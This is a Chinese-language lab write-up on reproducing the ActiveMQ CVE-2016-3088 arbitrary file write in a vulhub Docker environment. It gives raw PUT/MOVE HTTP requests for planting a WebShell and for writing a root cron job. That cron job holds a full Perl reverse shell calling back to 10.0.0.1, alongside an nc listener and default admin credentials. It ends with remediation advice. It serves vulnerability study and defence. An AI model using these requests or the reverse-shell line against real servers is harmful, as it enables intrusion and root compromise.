ActiveMQ CVE-2016-3088 任意文件写入漏洞：Fileserver REST 接口 PUT/MOVE 组合利用与 vulhub 环境复现

ActiveMQ CVE-2016-3088 任意文件写入漏洞：Fileserver REST 接口 PUT/MOVE 组合利用与 vulhub 环境复现

【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub

导读

本文以 vulhub 仓库中 CVE-2016-3088 漏洞环境为复现载体，完整讲解 Apache ActiveMQ Fileserver 应用因"可写文件 + MOVE 移动"双重能力叠加导致的任意文件写入漏洞。读者将掌握：如何用 Docker Compose 一键搭建 ActiveMQ 5.11.1 漏洞靶场、Fileserver 无需登录即可 PUT/MOVE 文件的工作原理，以及写入 WebShell、写入 crontab 反弹 Shell、覆盖 jetty.xml 三类实战利用手法与各自的适用前提。

环境搭建：一键拉起 ActiveMQ 5.11.1 漏洞靶场

漏洞环境位于仓库的 activemq/CVE-2016-3088 目录，在目录内执行：

docker compose build docker compose up -d

对应的 docker-compose.yml 内容非常简洁：

version: '2' services: activemq: image: vulhub/activemq:5.11.1-with-cron ports: - "61616:61616" - "8161:8161"

环境对外暴露两个端口：

启动后访问http://your-ip:8161/，看到 ActiveMQ 的 Web 管理页面即表示环境运行成功。

值得注意的一个细节是镜像名中的with-cron后缀。查看仓库中构建该镜像的 Dockerfile，可以看到它在基础镜像之上额外安装了cron和rsyslog：

FROM vulhub/activemq:5.11.1 LABEL maintainer="phithon <root@leavesongs.com>" RUN apt-get update \ && apt-get install -y cron rsyslog --no-install-recommends \ && rm -r /var/lib/apt/lists/* COPY entrypoint.sh /usr/local/bin/ CMD ["/bin/sh", "/usr/local/bin/entrypoint.sh"]

而 entrypoint.sh 在启动 ActiveMQ 的同时，预先启动了 cron 守护进程和 rsyslog 日志服务：

#!/bin/sh cron -L15 rsyslogd /bin/sh -c "/opt/activemq/bin/activemq console"

这是为后文"写入 crontab 自动反弹 Shell"的利用手法专门准备的：只有容器内 cron 服务处于运行状态，写入/etc/cron.d/的定时任务才能被真正触发执行。

背景简述：Web 控制台的三分天下

ActiveMQ 的 Web 控制台（默认端口 8161）内部由三个应用组成：

其中 fileserver 是一个 RESTful API 接口，攻击者可以通过 GET、PUT、DELETE 等 HTTP 请求对其中存储的文件进行读写操作。它被设计出来的初衷，是为了弥补消息队列操作无法传输、存储二进制文件的缺陷。

但该设计后来暴露出两个问题：

1. 其使用率并不高；
2. 文件操作容易出现漏洞。

正因如此，ActiveMQ 官方对 fileserver 的态度经历了两个阶段：

• 5.12.x ~ 5.13.x：默认关闭 fileserver 应用（可在conf/jetty.xml中手动开启）；
• 5.14.0 之后：彻底删除 fileserver 应用。

因此在测试过程中，务必关注 ActiveMQ 的版本，避免在 fileserver 已被移除/关闭的版本上走弯路。本环境使用的是5.11.1，恰好处于 fileserver 功能完整可用的阶段。

漏洞原理：写入与移动的组合拳

本漏洞的原理非常简单，根因是 fileserver 应用同时具备两项能力：

1. 支持写入文件：可以通过 PUT 请求向/fileserver/目录写入任意内容文件；
2. 支持移动文件：可以通过 MOVE 请求，配合Destination头把文件移动到服务器上的任意路径。

fileserver 自身只存储文件而不解析 JSP（这限制了直接落 WebShell 的杀伤力），但"能写入 + 能移动"的组合，直接构成了任意文件写入漏洞——攻击者可以把任意内容写到服务器的任意位置（权限允许的前提下）。

基于该能力，文件写入存在三类典型的利用方法：

1. 写入 WebShell；
2. 写入 cron 或 SSH Key 等系统文件；
3. 写入 jar 或 jetty.xml 等库与配置文件。

各方法的优劣对比如下：

利用方法一：写入 WebShell

WebShell 必须落在 admin 或 api 应用目录下才能被解析执行，而这两个应用都需要登录。好消息是 ActiveMQ 的默认账号密码均为admin。

第一步：获取 ActiveMQ 绝对路径

使用默认凭据admin/admin登录后，访问：

http://your-ip:8161/admin/test/systemProperties.jsp

该页面会列出 Java 与 ActiveMQ 的系统属性，其中activemq.home即 ActiveMQ 的安装绝对路径：

在本环境中该路径为/opt/activemq（基础镜像 Dockerfile 中通过ENV ACTIVEMQ_HOME /opt/activemq设定），Web 应用目录则为/opt/activemq/webapps/。

第二步：PUT 上传 WebShell 文件

向 fileserver 写入一个包含 WebShell 内容的文件（此处以2.txt为例）：

PUT /fileserver/2.txt HTTP/1.1 Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 120976 webshell...

第三步：MOVE 移动到 webapps/api 目录

使用 MOVE 请求将文件移动到 Web 目录下的 api 应用文件夹，并改名为s.jsp：

MOVE /fileserver/2.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/s.jsp Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0

第四步：访问 WebShell

随后即可通过 api 应用访问 WebShell（需保持登录态）：

从截图可见，WebShell 已运行在/opt/apache-activemq-5.11.1/webapps/api目录下，具备文件管理与命令执行能力。由于 api 应用需要登录，该利用链路要求攻击者先取得 admin 凭据（或利用默认弱口令），这正是其"鸡肋"之处。

利用方法二：写入 crontab，自动化反弹 Shell

相比 WebShell，写入 crontab 定时任务是一套更稳健的利用链——无需依赖登录态，且能自动化地周期性反弹 Shell。

第一步：PUT 上传 cron 配置文件

构造一个反弹 Shell 的 cron 任务并上传：

PUT /fileserver/1.txt HTTP/1.1 Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 248 */1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

该任务的含义是：每分钟以 root 身份执行一次 Perl 脚本，主动连接攻击机10.0.0.1的21端口并反弹一个交互式 Shell。

关键注意事项：cron 配置文件的换行符必须是\n（LF），不能是\r\n（CRLF），否则 crontab 解析执行会失败。在发送原始 HTTP 请求时，注意控制请求体中的实际字节。

第二步：MOVE 到 /etc/cron.d/

将其移动到 cron 定时任务目录/etc/cron.d/root：

MOVE /fileserver/1.txt HTTP/1.1 Destination: file:///etc/cron.d/root Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0

第三步：确认写入并等待反弹 Shell

如果上述 PUT 与 MOVE 两个请求均返回204 No Content，说明写入成功。在攻击机上先执行nc -l -p 21监听 21 端口，等待最多一分钟即可收到反弹的 Shell：

从截图可见，成功反弹后执行id返回uid=0(root)，即已获得容器内最高权限。

前提条件：该方法要求 ActiveMQ 进程以root 身份运行，否则即使文件移动成功，也没有权限向/etc/cron.d/写入。此外，正如前文所述，本环境镜像已内置并启动 cron 服务，这是反弹任务能够周期性执行的必要条件。

利用方法三：写入 jetty.xml 或 jar

第三种思路是覆盖 ActiveMQ 的 Web 容器配置或组件库：

• 覆盖jetty.xml：理论上可以移除 admin 与 api 应用的登录限制，之后再写入 WebShell，形成"免登录任意命令执行"的完整链条；
• 覆盖 jar：通过替换带后门的 jar 包实现代码执行。

但该方法的可行性取决于文件属主权限：在部分部署场景下，jetty.xml和 jar 文件的属主是 Web 容器运行用户，攻击者可能没有覆盖它们的权限。相比之下，crontab 写入的成功率通常更高。

需要说明的是，原文档作者明确标注该方法"尚未测试"，属于理论性利用思路，实践时需结合目标环境的实际文件权限判断可行性。

仓库源码佐证与利用前提小结

回到本仓库，可以清晰看到环境为每一种利用手法所做的准备：

综合而言，成功利用 CVE-2016-3088 需要满足以下前提：

1. ActiveMQ 版本处于 fileserver 可用阶段（5.11.1 满足，5.12.x~5.13.x 默认关闭，5.14.0+ 已删除）；
2. fileserver 应用对攻击者网络可达（默认无需认证）；
3. 写入目标路径对 ActiveMQ 进程用户可写——写入 crontab/SSH Key 需要 root 权限，写入 webapps 目录或 jetty.xml 则受 Web 容器用户权限约束。

修复与防护建议

根据 ActiveMQ 官方对 fileserver 的处理节奏，防护措施可以按版本递进：

1. 5.12.x ~ 5.13.x：在conf/jetty.xml中关闭 fileserver 应用，或通过访问控制策略限制/fileserver路径的网络访问；
2. 5.14.0 及以上：fileserver 已被彻底移除，升级即可根除该攻击面；
3. 通用加固：修改 admin/api 控制台的默认弱口令admin/admin，避免 WebShell 落地后直接被攻击者访问；同时避免以 root 用户运行 ActiveMQ 进程，降低任意文件写入被升级为系统命令执行的风险。

【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub